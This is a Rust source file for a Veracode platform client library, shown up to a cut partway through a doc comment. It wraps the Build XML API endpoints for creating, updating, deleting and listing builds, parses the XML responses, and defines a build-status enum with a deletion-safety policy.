Skip to main content

veracode_platform/
build.rs

1//! Build API functionality for Veracode platform.
2//!
3//! This module provides functionality to interact with the Veracode Build XML APIs,
4//! allowing you to create, update, delete, and query builds for applications and sandboxes.
5//! These operations use the XML API endpoints (analysiscenter.veracode.com).
6
7use chrono::{DateTime, NaiveDate, Utc};
8use quick_xml::Reader;
9use quick_xml::events::Event;
10use serde::{Deserialize, Serialize};
11use std::collections::HashMap;
12
13use crate::{VeracodeClient, VeracodeError};
14
15/// Valid lifecycle stage values for Veracode builds
16pub const LIFECYCLE_STAGES: &[&str] = &[
17    "In Development (pre-Alpha)",
18    "Internal or Alpha Testing",
19    "External or Beta Testing",
20    "Deployed",
21    "Maintenance",
22    "Cannot Disclose",
23    "Not Specified",
24];
25
26/// Validate if a lifecycle stage value is valid
27#[must_use]
28pub fn is_valid_lifecycle_stage(stage: &str) -> bool {
29    LIFECYCLE_STAGES.contains(&stage)
30}
31
32/// Get the default lifecycle stage for development builds
33#[must_use]
34pub fn default_lifecycle_stage() -> &'static str {
35    "In Development (pre-Alpha)"
36}
37
38/// Build status enumeration based on Veracode Java implementation
39/// These represent the possible build/analysis states that determine deletion safety
40#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
41pub enum BuildStatus {
42    Incomplete,
43    NotSubmitted,
44    SubmittedToEngine,
45    ScanInProcess,
46    PreScanSubmitted,
47    PreScanSuccess,
48    PreScanFailed,
49    PreScanCancelled,
50    PrescanFailed,
51    PrescanCancelled,
52    ScanCancelled,
53    ResultsReady,
54    Failed,
55    Cancelled,
56    Unknown(String), // For any status not explicitly handled
57}
58
59impl BuildStatus {
60    /// Parse a build status string from the Veracode API
61    #[must_use]
62    pub fn from_string(status: &str) -> Self {
63        match status {
64            "Incomplete" => BuildStatus::Incomplete,
65            "Not Submitted" => BuildStatus::NotSubmitted,
66            "Submitted to Engine" => BuildStatus::SubmittedToEngine,
67            "Scan in Process" => BuildStatus::ScanInProcess,
68            "Pre-Scan Submitted" => BuildStatus::PreScanSubmitted,
69            "Pre-Scan Success" => BuildStatus::PreScanSuccess,
70            "Pre-Scan Failed" => BuildStatus::PreScanFailed,
71            "Pre-Scan Cancelled" => BuildStatus::PreScanCancelled,
72            "Prescan Failed" => BuildStatus::PrescanFailed,
73            "Prescan Cancelled" => BuildStatus::PrescanCancelled,
74            "Scan Cancelled" => BuildStatus::ScanCancelled,
75            "Results Ready" => BuildStatus::ResultsReady,
76            "Failed" => BuildStatus::Failed,
77            "Cancelled" => BuildStatus::Cancelled,
78            _ => BuildStatus::Unknown(status.to_string()),
79        }
80    }
81
82    /// Convert build status to string representation
83    #[must_use]
84    pub fn to_str(&self) -> &str {
85        match self {
86            BuildStatus::Incomplete => "Incomplete",
87            BuildStatus::NotSubmitted => "Not Submitted",
88            BuildStatus::SubmittedToEngine => "Submitted to Engine",
89            BuildStatus::ScanInProcess => "Scan in Process",
90            BuildStatus::PreScanSubmitted => "Pre-Scan Submitted",
91            BuildStatus::PreScanSuccess => "Pre-Scan Success",
92            BuildStatus::PreScanFailed => "Pre-Scan Failed",
93            BuildStatus::PreScanCancelled => "Pre-Scan Cancelled",
94            BuildStatus::PrescanFailed => "Prescan Failed",
95            BuildStatus::PrescanCancelled => "Prescan Cancelled",
96            BuildStatus::ScanCancelled => "Scan Cancelled",
97            BuildStatus::ResultsReady => "Results Ready",
98            BuildStatus::Failed => "Failed",
99            BuildStatus::Cancelled => "Cancelled",
100            BuildStatus::Unknown(s) => s,
101        }
102    }
103
104    /// Determine if a build is safe to delete based on its status and deletion policy
105    ///
106    /// Deletion Policy Levels:
107    /// - 0: Never delete builds
108    /// - 1: Delete only "safe" builds (incomplete, failed, cancelled states)
109    /// - 2: Delete any build except "Results Ready"
110    #[must_use]
111    pub fn is_safe_to_delete(&self, deletion_policy: u8) -> bool {
112        match deletion_policy {
113            1 => {
114                // Delete only safe builds (incomplete, failed, cancelled states)
115                matches!(
116                    self,
117                    BuildStatus::Incomplete
118                        | BuildStatus::NotSubmitted
119                        | BuildStatus::PreScanFailed
120                        | BuildStatus::PreScanCancelled
121                        | BuildStatus::PrescanFailed
122                        | BuildStatus::PrescanCancelled
123                        | BuildStatus::ScanCancelled
124                        | BuildStatus::Failed
125                        | BuildStatus::Cancelled
126                )
127            }
128            2 => {
129                // Delete any build except Results Ready
130                !matches!(self, BuildStatus::ResultsReady)
131            }
132            _ => false, // Never delete (0) or invalid policy, default to never delete
133        }
134    }
135}
136
137impl std::fmt::Display for BuildStatus {
138    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
139        write!(f, "{}", self.to_str())
140    }
141}
142
143/// Represents a Veracode build
144#[derive(Debug, Clone, Serialize, Deserialize)]
145pub struct Build {
146    /// Build ID
147    pub build_id: String,
148    /// Application ID
149    pub app_id: String,
150    /// Build version
151    pub version: Option<String>,
152    /// Application name
153    pub app_name: Option<String>,
154    /// Sandbox ID (if sandbox build)
155    pub sandbox_id: Option<String>,
156    /// Sandbox name (if sandbox build)
157    pub sandbox_name: Option<String>,
158    /// Lifecycle stage
159    pub lifecycle_stage: Option<String>,
160    /// Launch date
161    pub launch_date: Option<NaiveDate>,
162    /// Submitter
163    pub submitter: Option<String>,
164    /// Platform
165    pub platform: Option<String>,
166    /// Analysis unit
167    pub analysis_unit: Option<String>,
168    /// Policy name
169    pub policy_name: Option<String>,
170    /// Policy version
171    pub policy_version: Option<String>,
172    /// Policy compliance status
173    pub policy_compliance_status: Option<String>,
174    /// Rules status
175    pub rules_status: Option<String>,
176    /// Grace period expired
177    pub grace_period_expired: Option<bool>,
178    /// Scan overdue
179    pub scan_overdue: Option<bool>,
180    /// Policy updated date
181    pub policy_updated_date: Option<DateTime<Utc>>,
182    /// Legacy scan engine
183    pub legacy_scan_engine: Option<bool>,
184    /// Additional attributes
185    pub attributes: HashMap<String, String>,
186}
187
188/// List of builds
189#[derive(Debug, Clone, Serialize, Deserialize)]
190pub struct BuildList {
191    /// Account ID
192    pub account_id: Option<String>,
193    /// Application ID
194    pub app_id: String,
195    /// Application name
196    pub app_name: Option<String>,
197    /// List of builds
198    pub builds: Vec<Build>,
199}
200
201/// Request for creating a build
202#[derive(Debug, Clone)]
203pub struct CreateBuildRequest {
204    /// Application ID
205    pub app_id: String,
206    /// Build version (optional, system will generate if not provided)
207    pub version: Option<String>,
208    /// Lifecycle stage
209    pub lifecycle_stage: Option<String>,
210    /// Launch date in MM/DD/YYYY format
211    pub launch_date: Option<String>,
212    /// Sandbox ID (optional, for sandbox builds)
213    pub sandbox_id: Option<String>,
214}
215
216/// Request for updating a build
217#[derive(Debug, Clone)]
218pub struct UpdateBuildRequest {
219    /// Application ID
220    pub app_id: String,
221    /// Build ID (optional, defaults to most recent)
222    pub build_id: Option<String>,
223    /// New build version
224    pub version: Option<String>,
225    /// New lifecycle stage
226    pub lifecycle_stage: Option<String>,
227    /// New launch date in MM/DD/YYYY format
228    pub launch_date: Option<String>,
229    /// Sandbox ID (optional, for sandbox builds)
230    pub sandbox_id: Option<String>,
231}
232
233/// Request for deleting a build
234#[derive(Debug, Clone)]
235pub struct DeleteBuildRequest {
236    /// Application ID
237    pub app_id: String,
238    /// Sandbox ID (optional, for sandbox builds)
239    pub sandbox_id: Option<String>,
240}
241
242/// Request for getting build information
243#[derive(Debug, Clone)]
244pub struct GetBuildInfoRequest {
245    /// Application ID
246    pub app_id: String,
247    /// Build ID (optional, defaults to most recent)
248    pub build_id: Option<String>,
249    /// Sandbox ID (optional, for sandbox builds)
250    pub sandbox_id: Option<String>,
251}
252
253/// Request for getting build list
254#[derive(Debug, Clone)]
255pub struct GetBuildListRequest {
256    /// Application ID
257    pub app_id: String,
258    /// Sandbox ID (optional, for sandbox builds only)
259    pub sandbox_id: Option<String>,
260}
261
262/// Result of build deletion
263#[derive(Debug, Clone, Serialize, Deserialize)]
264pub struct DeleteBuildResult {
265    /// Result status (typically "success")
266    pub result: String,
267}
268
269/// Build specific error types
270#[derive(Debug)]
271#[must_use = "Need to handle all error enum types."]
272pub enum BuildError {
273    /// Veracode API error
274    Api(VeracodeError),
275    /// Build not found
276    BuildNotFound,
277    /// Application not found
278    ApplicationNotFound,
279    /// Sandbox not found
280    SandboxNotFound,
281    /// Invalid parameter
282    InvalidParameter(String),
283    /// Build creation failed
284    CreationFailed(String),
285    /// Build update failed
286    UpdateFailed(String),
287    /// Build deletion failed
288    DeletionFailed(String),
289    /// XML parsing error
290    XmlParsingError(String),
291    /// Unauthorized access
292    Unauthorized,
293    /// Permission denied
294    PermissionDenied,
295    /// Build in progress (cannot modify)
296    BuildInProgress,
297}
298
299impl std::fmt::Display for BuildError {
300    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
301        match self {
302            BuildError::Api(err) => write!(f, "API error: {err}"),
303            BuildError::BuildNotFound => write!(f, "Build not found"),
304            BuildError::ApplicationNotFound => write!(f, "Application not found"),
305            BuildError::SandboxNotFound => write!(f, "Sandbox not found"),
306            BuildError::InvalidParameter(msg) => write!(f, "Invalid parameter: {msg}"),
307            BuildError::CreationFailed(msg) => write!(f, "Build creation failed: {msg}"),
308            BuildError::UpdateFailed(msg) => write!(f, "Build update failed: {msg}"),
309            BuildError::DeletionFailed(msg) => write!(f, "Build deletion failed: {msg}"),
310            BuildError::XmlParsingError(msg) => write!(f, "XML parsing error: {msg}"),
311            BuildError::Unauthorized => write!(f, "Unauthorized access"),
312            BuildError::PermissionDenied => write!(f, "Permission denied"),
313            BuildError::BuildInProgress => write!(f, "Build in progress, cannot modify"),
314        }
315    }
316}
317
318impl std::error::Error for BuildError {}
319
320impl From<VeracodeError> for BuildError {
321    fn from(err: VeracodeError) -> Self {
322        BuildError::Api(err)
323    }
324}
325
326impl From<std::io::Error> for BuildError {
327    fn from(err: std::io::Error) -> Self {
328        BuildError::Api(VeracodeError::InvalidResponse(err.to_string()))
329    }
330}
331
332impl From<reqwest::Error> for BuildError {
333    fn from(err: reqwest::Error) -> Self {
334        BuildError::Api(VeracodeError::Http(err))
335    }
336}
337
338/// Build API operations for Veracode platform
339pub struct BuildApi {
340    client: VeracodeClient,
341}
342
343impl BuildApi {
344    /// Create a new `BuildApi` instance
345    #[must_use]
346    pub fn new(client: VeracodeClient) -> Self {
347        Self { client }
348    }
349
350    /// Create a new build
351    ///
352    /// # Arguments
353    ///
354    /// * `request` - The create build request
355    ///
356    /// # Returns
357    ///
358    /// A `Result` containing the created build information or an error.
359    ///
360    /// # Errors
361    ///
362    /// Returns an error if the API request fails, the application is not found,
363    /// authentication fails, or the build creation is rejected by the Veracode platform.
364    pub async fn create_build(&self, request: &CreateBuildRequest) -> Result<Build, BuildError> {
365        let endpoint = "/api/5.0/createbuild.do";
366
367        // Build query parameters
368        let mut query_params = Vec::new();
369        query_params.push(("app_id", request.app_id.as_str()));
370
371        if let Some(version) = &request.version {
372            query_params.push(("version", version.as_str()));
373        }
374
375        if let Some(lifecycle_stage) = &request.lifecycle_stage {
376            query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
377        }
378
379        if let Some(launch_date) = &request.launch_date {
380            query_params.push(("launch_date", launch_date.as_str()));
381        }
382
383        if let Some(sandbox_id) = &request.sandbox_id {
384            query_params.push(("sandbox_id", sandbox_id.as_str()));
385        }
386
387        let response = self
388            .client
389            .post_with_query_params(endpoint, &query_params)
390            .await?;
391
392        let status = response.status().as_u16();
393        match status {
394            200 => {
395                let response_text = response.text().await?;
396                self.parse_build_info(&response_text)
397            }
398            400 => {
399                let error_text = response.text().await.unwrap_or_default();
400                Err(BuildError::InvalidParameter(error_text))
401            }
402            401 => Err(BuildError::Unauthorized),
403            403 => Err(BuildError::PermissionDenied),
404            404 => Err(BuildError::ApplicationNotFound),
405            _ => {
406                let error_text = response.text().await.unwrap_or_default();
407                Err(BuildError::CreationFailed(format!(
408                    "HTTP {status}: {error_text}"
409                )))
410            }
411        }
412    }
413
414    /// Update an existing build
415    ///
416    /// # Arguments
417    ///
418    /// * `request` - The update build request
419    ///
420    /// # Returns
421    ///
422    /// A `Result` containing the updated build information or an error.
423    ///
424    /// # Errors
425    ///
426    /// Returns an error if the API request fails, authentication fails,
427    /// or the operation is rejected by the Veracode platform.
428    pub async fn update_build(&self, request: &UpdateBuildRequest) -> Result<Build, BuildError> {
429        let endpoint = "/api/5.0/updatebuild.do";
430
431        // Build query parameters
432        let mut query_params = Vec::new();
433        query_params.push(("app_id", request.app_id.as_str()));
434
435        if let Some(build_id) = &request.build_id {
436            query_params.push(("build_id", build_id.as_str()));
437        }
438
439        if let Some(version) = &request.version {
440            query_params.push(("version", version.as_str()));
441        }
442
443        if let Some(lifecycle_stage) = &request.lifecycle_stage {
444            query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
445        }
446
447        if let Some(launch_date) = &request.launch_date {
448            query_params.push(("launch_date", launch_date.as_str()));
449        }
450
451        if let Some(sandbox_id) = &request.sandbox_id {
452            query_params.push(("sandbox_id", sandbox_id.as_str()));
453        }
454
455        let response = self
456            .client
457            .post_with_query_params(endpoint, &query_params)
458            .await?;
459
460        let status = response.status().as_u16();
461        match status {
462            200 => {
463                let response_text = response.text().await?;
464                self.parse_build_info(&response_text)
465            }
466            400 => {
467                let error_text = response.text().await.unwrap_or_default();
468                Err(BuildError::InvalidParameter(error_text))
469            }
470            401 => Err(BuildError::Unauthorized),
471            403 => Err(BuildError::PermissionDenied),
472            404 => {
473                if request.sandbox_id.is_some() {
474                    Err(BuildError::SandboxNotFound)
475                } else {
476                    Err(BuildError::BuildNotFound)
477                }
478            }
479            _ => {
480                let error_text = response.text().await.unwrap_or_default();
481                Err(BuildError::UpdateFailed(format!(
482                    "HTTP {status}: {error_text}"
483                )))
484            }
485        }
486    }
487
488    /// Delete a build
489    ///
490    /// # Arguments
491    ///
492    /// * `request` - The delete build request
493    ///
494    /// # Returns
495    ///
496    /// A `Result` containing the deletion result or an error.
497    ///
498    /// # Errors
499    ///
500    /// Returns an error if the API request fails, authentication fails,
501    /// or the operation is rejected by the Veracode platform.
502    pub async fn delete_build(
503        &self,
504        request: &DeleteBuildRequest,
505    ) -> Result<DeleteBuildResult, BuildError> {
506        let endpoint = "/api/5.0/deletebuild.do";
507
508        // Build query parameters
509        let mut query_params = Vec::new();
510        query_params.push(("app_id", request.app_id.as_str()));
511
512        if let Some(sandbox_id) = &request.sandbox_id {
513            query_params.push(("sandbox_id", sandbox_id.as_str()));
514        }
515
516        let response = self
517            .client
518            .post_with_query_params(endpoint, &query_params)
519            .await?;
520
521        let status = response.status().as_u16();
522        match status {
523            200 => {
524                let response_text = response.text().await?;
525                self.parse_delete_result(&response_text)
526            }
527            400 => {
528                let error_text = response.text().await.unwrap_or_default();
529                Err(BuildError::InvalidParameter(error_text))
530            }
531            401 => Err(BuildError::Unauthorized),
532            403 => Err(BuildError::PermissionDenied),
533            404 => {
534                if request.sandbox_id.is_some() {
535                    Err(BuildError::SandboxNotFound)
536                } else {
537                    Err(BuildError::BuildNotFound)
538                }
539            }
540            _ => {
541                let error_text = response.text().await.unwrap_or_default();
542                Err(BuildError::DeletionFailed(format!(
543                    "HTTP {status}: {error_text}"
544                )))
545            }
546        }
547    }
548
549    /// Get build information
550    ///
551    /// # Arguments
552    ///
553    /// * `request` - The get build info request
554    ///
555    /// # Returns
556    ///
557    /// A `Result` containing the build information or an error.
558    ///
559    /// # Errors
560    ///
561    /// Returns an error if the API request fails, authentication fails,
562    /// or the operation is rejected by the Veracode platform.
563    pub async fn get_build_info(&self, request: &GetBuildInfoRequest) -> Result<Build, BuildError> {
564        let endpoint = "/api/5.0/getbuildinfo.do";
565
566        // Build query parameters
567        let mut query_params = Vec::new();
568        query_params.push(("app_id", request.app_id.as_str()));
569
570        if let Some(build_id) = &request.build_id {
571            query_params.push(("build_id", build_id.as_str()));
572        }
573
574        if let Some(sandbox_id) = &request.sandbox_id {
575            query_params.push(("sandbox_id", sandbox_id.as_str()));
576        }
577
578        let response = self
579            .client
580            .get_with_query_params(endpoint, &query_params)
581            .await?;
582
583        let status = response.status().as_u16();
584        match status {
585            200 => {
586                let response_text = response.text().await?;
587                self.parse_build_info(&response_text)
588            }
589            400 => {
590                let error_text = response.text().await.unwrap_or_default();
591                Err(BuildError::InvalidParameter(error_text))
592            }
593            401 => Err(BuildError::Unauthorized),
594            403 => Err(BuildError::PermissionDenied),
595            404 => {
596                if request.sandbox_id.is_some() {
597                    Err(BuildError::SandboxNotFound)
598                } else {
599                    Err(BuildError::BuildNotFound)
600                }
601            }
602            _ => {
603                let error_text = response.text().await.unwrap_or_default();
604                Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
605                    "HTTP {status}: {error_text}"
606                ))))
607            }
608        }
609    }
610
611    /// Get list of builds
612    ///
613    /// # Arguments
614    ///
615    /// * `request` - The get build list request
616    ///
617    /// # Returns
618    ///
619    /// A `Result` containing the build list or an error.
620    ///
621    /// # Errors
622    ///
623    /// Returns an error if the API request fails, authentication fails,
624    /// or the operation is rejected by the Veracode platform.
625    pub async fn get_build_list(
626        &self,
627        request: &GetBuildListRequest,
628    ) -> Result<BuildList, BuildError> {
629        let endpoint = "/api/5.0/getbuildlist.do";
630
631        // Build query parameters
632        let mut query_params = Vec::new();
633        query_params.push(("app_id", request.app_id.as_str()));
634
635        if let Some(sandbox_id) = &request.sandbox_id {
636            query_params.push(("sandbox_id", sandbox_id.as_str()));
637        }
638
639        let response = self
640            .client
641            .get_with_query_params(endpoint, &query_params)
642            .await?;
643
644        let status = response.status().as_u16();
645        match status {
646            200 => {
647                let response_text = response.text().await?;
648                self.parse_build_list(&response_text)
649            }
650            400 => {
651                let error_text = response.text().await.unwrap_or_default();
652                Err(BuildError::InvalidParameter(error_text))
653            }
654            401 => Err(BuildError::Unauthorized),
655            403 => Err(BuildError::PermissionDenied),
656            404 => {
657                if request.sandbox_id.is_some() {
658                    Err(BuildError::SandboxNotFound)
659                } else {
660                    Err(BuildError::ApplicationNotFound)
661                }
662            }
663            _ => {
664                let error_text = response.text().await.unwrap_or_default();
665                Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
666                    "HTTP {status}: {error_text}"
667                ))))
668            }
669        }
670    }
671
672    /// Parse build info XML response
673    fn parse_build_info(&self, xml: &str) -> Result<Build, BuildError> {
674        // Check if response contains an error element first
675        if xml.contains("<error>") {
676            let mut reader = Reader::from_str(xml);
677            reader.config_mut().trim_text(true);
678            let mut buf = Vec::new();
679
680            loop {
681                match reader.read_event_into(&mut buf) {
682                    Ok(Event::Start(ref e)) if e.name().as_ref() == b"error" => {
683                        if let Ok(Event::Text(text)) = reader.read_event_into(&mut buf) {
684                            let error_msg = String::from_utf8_lossy(&text);
685                            if error_msg.contains("Could not find a build") {
686                                return Err(BuildError::BuildNotFound);
687                            }
688                            return Err(BuildError::Api(VeracodeError::InvalidResponse(
689                                error_msg.to_string(),
690                            )));
691                        }
692                    }
693                    Ok(Event::Eof) => break,
694                    Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
695                    _ => {}
696                }
697                buf.clear();
698            }
699        }
700
701        let mut reader = Reader::from_str(xml);
702        reader.config_mut().trim_text(true);
703
704        let mut buf = Vec::new();
705        let mut build = Build {
706            build_id: String::new(),
707            app_id: String::new(),
708            version: None,
709            app_name: None,
710            sandbox_id: None,
711            sandbox_name: None,
712            lifecycle_stage: None,
713            launch_date: None,
714            submitter: None,
715            platform: None,
716            analysis_unit: None,
717            policy_name: None,
718            policy_version: None,
719            policy_compliance_status: None,
720            rules_status: None,
721            grace_period_expired: None,
722            scan_overdue: None,
723            policy_updated_date: None,
724            legacy_scan_engine: None,
725            attributes: HashMap::new(),
726        };
727
728        let mut inside_build = false;
729
730        loop {
731            match reader.read_event_into(&mut buf) {
732                Ok(Event::Start(ref e)) => {
733                    match e.name().as_ref() {
734                        b"build" => {
735                            inside_build = true;
736                            for attr in e.attributes().flatten() {
737                                let key = String::from_utf8_lossy(attr.key.as_ref());
738                                let value = String::from_utf8_lossy(&attr.value);
739
740                                match key.as_ref() {
741                                    "build_id" => build.build_id = value.into_owned(),
742                                    "app_id" => build.app_id = value.into_owned(),
743                                    "version" => build.version = Some(value.into_owned()),
744                                    "app_name" => build.app_name = Some(value.into_owned()),
745                                    "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
746                                    "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
747                                    "lifecycle_stage" => {
748                                        build.lifecycle_stage = Some(value.into_owned())
749                                    }
750                                    "submitter" => build.submitter = Some(value.into_owned()),
751                                    "platform" => build.platform = Some(value.into_owned()),
752                                    "analysis_unit" => {
753                                        build.analysis_unit = Some(value.into_owned())
754                                    }
755                                    "policy_name" => build.policy_name = Some(value.into_owned()),
756                                    "policy_version" => {
757                                        build.policy_version = Some(value.into_owned())
758                                    }
759                                    "policy_compliance_status" => {
760                                        build.policy_compliance_status = Some(value.into_owned())
761                                    }
762                                    "rules_status" => build.rules_status = Some(value.into_owned()),
763                                    "grace_period_expired" => {
764                                        build.grace_period_expired = value.parse::<bool>().ok();
765                                    }
766                                    "scan_overdue" => {
767                                        build.scan_overdue = value.parse::<bool>().ok();
768                                    }
769                                    "legacy_scan_engine" => {
770                                        build.legacy_scan_engine = value.parse::<bool>().ok();
771                                    }
772                                    "launch_date" => {
773                                        if let Ok(date) =
774                                            NaiveDate::parse_from_str(&value, "%m/%d/%Y")
775                                        {
776                                            build.launch_date = Some(date);
777                                        }
778                                    }
779                                    "policy_updated_date" => {
780                                        if let Ok(datetime) =
781                                            chrono::DateTime::parse_from_rfc3339(&value)
782                                        {
783                                            build.policy_updated_date =
784                                                Some(datetime.with_timezone(&Utc));
785                                        }
786                                    }
787                                    _ => {
788                                        build
789                                            .attributes
790                                            .insert(key.into_owned(), value.into_owned());
791                                    }
792                                }
793                            }
794                        }
795                        b"analysis_unit" if inside_build => {
796                            // Parse analysis_unit element nested inside build (primary source for build status)
797                            for attr in e.attributes().flatten() {
798                                let key = String::from_utf8_lossy(attr.key.as_ref());
799                                let value = String::from_utf8_lossy(&attr.value);
800
801                                // Store all analysis_unit attributes, especially status
802                                match key.as_ref() {
803                                    "status" => {
804                                        // Store the analysis_unit status as the primary status
805                                        build
806                                            .attributes
807                                            .insert("status".to_string(), value.into_owned());
808                                    }
809                                    _ => {
810                                        // Store other analysis_unit attributes with prefix
811                                        build
812                                            .attributes
813                                            .insert(format!("analysis_{key}"), value.into_owned());
814                                    }
815                                }
816                            }
817                        }
818                        _ => {}
819                    }
820                }
821                Ok(Event::Empty(ref e))
822                    // Handle self-closing elements like <analysis_unit ... />
823                    if e.name().as_ref() == b"analysis_unit" && inside_build => {
824                    for attr in e.attributes().flatten() {
825                        let key = String::from_utf8_lossy(attr.key.as_ref());
826                        let value = String::from_utf8_lossy(&attr.value);
827
828                        match key.as_ref() {
829                            "status" => {
830                                build
831                                    .attributes
832                                    .insert("status".to_string(), value.into_owned());
833                            }
834                            _ => {
835                                build
836                                    .attributes
837                                    .insert(format!("analysis_{key}"), value.into_owned());
838                            }
839                        }
840                    }
841                }
842                Ok(Event::End(ref e))
843                    if e.name().as_ref() == b"build" => {
844                    inside_build = false;
845                }
846                Ok(Event::Eof) => break,
847                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
848                _ => {}
849            }
850            buf.clear();
851        }
852
853        if build.build_id.is_empty() {
854            return Err(BuildError::XmlParsingError(
855                "No build information found in response".to_string(),
856            ));
857        }
858
859        Ok(build)
860    }
861
862    /// Parse build attributes from XML element (handles both opening and self-closing tags)
863    fn parse_build_from_attributes<'a>(
864        &self,
865        attributes: impl Iterator<
866            Item = Result<
867                quick_xml::events::attributes::Attribute<'a>,
868                quick_xml::events::attributes::AttrError,
869            >,
870        >,
871        app_id: &str,
872        app_name: &Option<String>,
873    ) -> Build {
874        let mut build = Build {
875            build_id: String::new(),
876            app_id: app_id.to_string(),
877            version: None,
878            app_name: app_name.clone(),
879            sandbox_id: None,
880            sandbox_name: None,
881            lifecycle_stage: None,
882            launch_date: None,
883            submitter: None,
884            platform: None,
885            analysis_unit: None,
886            policy_name: None,
887            policy_version: None,
888            policy_compliance_status: None,
889            rules_status: None,
890            grace_period_expired: None,
891            scan_overdue: None,
892            policy_updated_date: None,
893            legacy_scan_engine: None,
894            attributes: HashMap::new(),
895        };
896
897        for attr in attributes.flatten() {
898            let key = String::from_utf8_lossy(attr.key.as_ref());
899            let value = String::from_utf8_lossy(&attr.value);
900
901            match key.as_ref() {
902                "build_id" => build.build_id = value.into_owned(),
903                "version" => build.version = Some(value.into_owned()),
904                "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
905                "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
906                "lifecycle_stage" => build.lifecycle_stage = Some(value.into_owned()),
907                "submitter" => build.submitter = Some(value.into_owned()),
908                "platform" => build.platform = Some(value.into_owned()),
909                "analysis_unit" => build.analysis_unit = Some(value.into_owned()),
910                "policy_name" => build.policy_name = Some(value.into_owned()),
911                "policy_version" => build.policy_version = Some(value.into_owned()),
912                "policy_compliance_status" => {
913                    build.policy_compliance_status = Some(value.into_owned())
914                }
915                "rules_status" => build.rules_status = Some(value.into_owned()),
916                "grace_period_expired" => {
917                    build.grace_period_expired = value.parse::<bool>().ok();
918                }
919                "scan_overdue" => {
920                    build.scan_overdue = value.parse::<bool>().ok();
921                }
922                "legacy_scan_engine" => {
923                    build.legacy_scan_engine = value.parse::<bool>().ok();
924                }
925                "launch_date" => {
926                    if let Ok(date) = NaiveDate::parse_from_str(&value, "%m/%d/%Y") {
927                        build.launch_date = Some(date);
928                    }
929                }
930                "policy_updated_date" => {
931                    if let Ok(datetime) = chrono::DateTime::parse_from_rfc3339(&value) {
932                        build.policy_updated_date = Some(datetime.with_timezone(&Utc));
933                    }
934                }
935                _ => {
936                    build
937                        .attributes
938                        .insert(key.into_owned(), value.into_owned());
939                }
940            }
941        }
942
943        build
944    }
945
946    /// Parse build list XML response
947    fn parse_build_list(&self, xml: &str) -> Result<BuildList, BuildError> {
948        let mut reader = Reader::from_str(xml);
949        reader.config_mut().trim_text(true);
950
951        let mut buf = Vec::new();
952        let mut build_list = BuildList {
953            account_id: None,
954            app_id: String::new(),
955            app_name: None,
956            builds: Vec::new(),
957        };
958
959        loop {
960            match reader.read_event_into(&mut buf) {
961                Ok(Event::Start(ref e)) => match e.name().as_ref() {
962                    b"buildlist" => {
963                        for attr in e.attributes().flatten() {
964                            let key = String::from_utf8_lossy(attr.key.as_ref());
965                            let value = String::from_utf8_lossy(&attr.value);
966
967                            match key.as_ref() {
968                                "account_id" => build_list.account_id = Some(value.into_owned()),
969                                "app_id" => build_list.app_id = value.into_owned(),
970                                "app_name" => build_list.app_name = Some(value.into_owned()),
971                                _ => {}
972                            }
973                        }
974                    }
975                    b"build" => {
976                        let build = self.parse_build_from_attributes(
977                            e.attributes(),
978                            &build_list.app_id,
979                            &build_list.app_name,
980                        );
981
982                        if !build.build_id.is_empty() {
983                            build_list.builds.push(build);
984                        }
985                    }
986                    _ => {}
987                },
988                Ok(Event::Empty(ref e))
989                    // Handle self-closing build tags like <build ... />
990                    if e.name().as_ref() == b"build" => {
991                    let build = self.parse_build_from_attributes(
992                        e.attributes(),
993                        &build_list.app_id,
994                        &build_list.app_name,
995                    );
996
997                    if !build.build_id.is_empty() {
998                        build_list.builds.push(build);
999                    }
1000                }
1001                Ok(Event::Eof) => break,
1002                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1003                _ => {}
1004            }
1005            buf.clear();
1006        }
1007
1008        Ok(build_list)
1009    }
1010
1011    /// Parse delete build result XML response
1012    fn parse_delete_result(&self, xml: &str) -> Result<DeleteBuildResult, BuildError> {
1013        let mut reader = Reader::from_str(xml);
1014        reader.config_mut().trim_text(true);
1015
1016        let mut buf = Vec::new();
1017        let mut result = String::new();
1018
1019        loop {
1020            match reader.read_event_into(&mut buf) {
1021                Ok(Event::Start(ref e)) if e.name().as_ref() == b"result" => {
1022                    // Read the text content of the result element
1023                    if let Ok(Event::Text(e)) = reader.read_event_into(&mut buf) {
1024                        result = String::from_utf8_lossy(&e).into_owned();
1025                    }
1026                }
1027                Ok(Event::Eof) => break,
1028                Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1029                _ => {}
1030            }
1031            buf.clear();
1032        }
1033
1034        if result.is_empty() {
1035            return Err(BuildError::XmlParsingError(
1036                "No result found in delete response".to_string(),
1037            ));
1038        }
1039
1040        Ok(DeleteBuildResult { result })
1041    }
1042}
1043
1044// Convenience methods implementation
1045impl BuildApi {
1046    /// Create a build with minimal parameters
1047    ///
1048    /// # Arguments
1049    ///
1050    /// * `app_id` - Application ID
1051    /// * `version` - Optional build version
1052    ///
1053    /// # Returns
1054    ///
1055    /// A `Result` containing the created build information or an error.
1056    ///
1057    /// # Errors
1058    ///
1059    /// Returns an error if the API request fails, authentication fails,
1060    /// or the operation is rejected by the Veracode platform.
1061    pub async fn create_simple_build(
1062        &self,
1063        app_id: &str,
1064        version: Option<&str>,
1065    ) -> Result<Build, BuildError> {
1066        let request = CreateBuildRequest {
1067            app_id: app_id.to_string(),
1068            version: version.map(str::to_string),
1069            lifecycle_stage: None,
1070            launch_date: None,
1071            sandbox_id: None,
1072        };
1073
1074        self.create_build(&request).await
1075    }
1076
1077    /// Create a sandbox build
1078    ///
1079    /// # Arguments
1080    ///
1081    /// * `app_id` - Application ID
1082    /// * `sandbox_id` - Sandbox ID
1083    /// * `version` - Optional build version
1084    ///
1085    /// # Returns
1086    ///
1087    /// A `Result` containing the created build information or an error.
1088    ///
1089    /// # Errors
1090    ///
1091    /// Returns an error if the API request fails, authentication fails,
1092    /// or the operation is rejected by the Veracode platform.
